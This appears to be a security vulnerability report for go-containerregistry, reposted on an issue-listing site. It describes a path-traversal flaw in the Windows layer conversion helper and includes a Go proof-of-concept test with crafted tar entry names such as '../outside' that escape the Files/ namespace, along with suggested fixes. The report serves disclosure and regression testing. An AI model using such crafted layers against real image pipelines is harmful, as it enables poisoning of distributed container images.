google / google/go-containerregistry

Security vulnereability report

Open
#2,355 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
Go
Stars
4k
Forks
686
Avg merge
2d 12h
Merged PRs (30d)
26

Description

# go-containerregistry Windows layer Files prefix boundary bypass

### Summary

Current `internal/windows.Windows()` still rewrites incoming tar entry names with `path.Join("Files", header.Name)` and does not verify that the normalized result remains inside the intended `Files/` namespace.

### Details

I reproduced this against the tested upstream commit. Tested commit:

`c68d899782693b63b7549166812aa996f17a660c` (`2026-06-17T15:00:28-07:00`)

Relevant code path:

- `internal/windows/windows.go` lines `44-78`: The Windows conversion helper iterates every incoming tar header, rejects only names that already start with `Files/`, rewrites the name with `path.Join("Files", header.Name)`, and emits the rewritten header without any post-join containment check.
- `pkg/crane/append.go` lines `28-71`: Current `crane.Append()` automatically routes appended layers through `windows.Windows(layer)` whenever the base image is a Windows image, making the vulnerable name rewrite part of the normal current append path for Windows targets.

Root cause:

When `crane.Append()` is used on a Windows base image, current `internal/windows.Windows()` rewrites each incoming tar header with `header.Name = path.Join("Files", header.Name)`. That join is intended to place all appended content beneath the Windows layer's `Files/` subtree, but `path.Join()` also normalizes `..` segments. Because the code never validates the cleaned result after the join, crafted layer entries such as `../outside`, `a/../../Hives/secret`, or `../../Hives/raw` can escape the intended `Files/` namespace and land as top-level entries or reserved `Hives/` entries in the rewritten output layer. `pkg/crane.Append()` calls this conversion automatically whenever the base image reports `config.OS == "windows"`, so an attacker-controlled tar layer passed to the normal append flow can reshape the resulting Windows image layer outside the namespace that the conversion step was meant to enforce.

Related CVE reference: this is the same kind of bug as `CVE-2024-12718` in `python/cpython`.

### PoC

Reproduction flow:

1. The PoC compiles a temporary test inside the current `internal/windows` package. It creates a real tar layer with `../outside` and `a/../../Hives/secret`, passes it to the current `Windows(layer)` helper, and lists the generated layer entries.

### PoC

From a clean checkout of the tested commit, add the Go test below and run it against the real Windows layer conversion helper.

Command:

```bash
go test ./internal/windows -run TestCurrentWindowsLayerFilesPrefixBypass -count=1 -v
```
#### `internal/windows/windows_layer_prefix_bypass_test.go`

```go
package windows

import (
"archive/tar"
"bytes"
"errors"
"io"
"strings"
"testing"

"github.com/google/go-containerregistry/pkg/v1/tarball"
)

func TestCurrentWindowsLayerFilesPrefixBypass(t *testing.T) {
var buf bytes.Buffer
tw := tar.NewWriter(&buf)
body := []byte("GO-CONTAINERREGISTRY-OUTSIDE\n")
if err := tw.WriteHeader(&tar.Header{Name: "../outside", Mode: 0644, Size: int64(len(body))}); err != nil {
t.Fatal(err)
}
if _, err := tw.Write(body); err != nil {
t.Fatal(err)
}
if err := tw.WriteHeader(&tar.Header{Name: "a/../../Hives/secret", Mode: 0644, Size: int64(len(body))}); err != nil {
t.Fatal(err)
}
if _, err := tw.Write(body); err != nil {
t.Fatal(err)
}
if err := tw.Close(); err != nil {
t.Fatal(err)
}
layer, err := tarball.LayerFromReader(bytes.NewReader(buf.Bytes()))
if err != nil {
t.Fatalf("LayerFromReader: %v", err)
}
win, err := Windows(layer)
if err != nil {
t.Fatalf("Windows rejected crafted layer: %v", err)
}
rc, err := win.Uncompressed()
if err != nil {
t.Fatalf("Uncompressed: %v", err)
}
defer rc.Close()
tr := tar.NewReader(rc)
var entries []string
for {
h, err := tr.Next()
if errors.Is(err, io.EOF) {
break
}
if err != nil {
t.Fatal(err)
}
entries = append(entries, h.Name)
}
joined := strings.Join(entries, ",")
t.Logf("OUTPUT_ENTRIES=%s", joined)
if !strings.Contains(joined, "outside") {
t.Fatalf("expected entry outside Files namespace, got %s", joined)
}
if !strings.Contains(joined, "Hives/secret") {
t.Fatalf("expected injected Hives/secret entry, got %s", joined)
}
}
```

### Expected Behavior

Untrusted paths, archive entries, and link targets should be normalized and verified to stay inside the intended root before any file is read, written, moved, loaded, or executed.

### Observed Behavior

- `input ../outside -> output entries Files, Hives, outside`
- `input a/../../Hives/secret -> output entries Files, Hives, Hives/secret`
- `input ../../Hives/raw -> output entries Files, Hives, ../Hives/raw`

### Impact

An attacker who can supply or influence a tar layer passed to `crane append` or the `crane.Append()` API for a Windows base image can bypass the conversion helper's intended `Files/` boundary.

The attacker gains the ability to place entries outside the `Files/` subtree in the generated Windows image layer, including top-level namespaces such as `Hives/`. This can poison the produced image by adding attacker-controlled content to Windows-layer namespaces that callers did not intend to expose when appending ordinary filesystem content.

This does not directly write to the build host filesystem. The affected boundary is the integrity of the generated Windows image layer: consumers who build or publish Windows images from untrusted or semi-trusted appended layers may produce and distribute an image whose layer contents differ from the expected `Files/`-only output.

### Suggested Fix Direction

- After rewriting, reject any header whose cleaned name is not exactly `Files/...` with a separator-aware containment check instead of relying on `path.Join()` alone.
- Reject incoming header names containing `..`, absolute paths, or any cleaned result that escapes the intended `Files/` subtree before writing the rewritten header.
- Add regression tests for inputs such as `../outside`, `../../Hives/raw`, and `a/../../Hives/secret` and assert that the conversion either rejects them or keeps the result strictly under `Files/`.

Contributor guide

Open the contributing guide

Research direction

Start with internal/windows/windows.go, then inspect the Windows path in pkg/crane/append.go. Run go test ./internal/windows -run TestCurrentWindowsLayerFilesPrefixBypass -count=1 -v using the reproduction in the issue. Done means traversal inputs are rejected or every converted entry remains strictly within the Files/ namespace, with regression coverage for the listed paths.

Written by the indexing model from the issue text.

Assessment

Tech stack
go
Domain
security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
72/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.